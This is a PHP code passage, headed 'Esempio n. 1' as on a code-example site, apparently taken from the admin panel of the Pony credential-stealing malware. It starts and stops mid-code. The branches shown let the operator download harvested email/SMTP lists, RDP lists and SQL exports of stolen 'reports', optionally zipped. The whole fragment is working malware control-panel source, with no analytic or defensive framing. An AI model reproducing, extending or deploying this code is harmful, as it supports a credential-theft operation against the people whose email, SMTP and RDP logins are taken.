Esempio n. 1
0
        $null_list = array();
        $pony_db->get_email_list(true, $null_list, 0, 'smtp');
        $email_list_data = ob_get_contents();
        ob_end_clean();
        create_zip_and_send('email_smtp_list.txt', $email_list_data);
    } else {
        set_common_file_download_header('email_smtp_list.txt');
        $pony_db->get_email_list(true, $null_list, 0, 'smtp');
    }
    die;
}
if ($admin_routine == 'download_rdp') {
    if ($use_zip) {
        set_common_file_download_header('rdp_list.zip', 'application/zip');
        ob_start();
        $pony_db->get_rdp_list(true);
        $rdp_list_data = ob_get_contents();
        ob_end_clean();
        create_zip_and_send('rdp_list.txt', $rdp_list_data);
    } else {
        set_common_file_download_header('rdp_list.txt');
        $pony_db->get_rdp_list(true);
    }
    die;
}
if ($admin_routine == 'download_reports' && $admin_action == 'ftp') {
    set_common_file_download_header('reports.sql');
    $pony_db->export_reports(false);
    die;
}
if ($admin_routine == 'download_nonparsed_reports' && $admin_action == 'ftp') {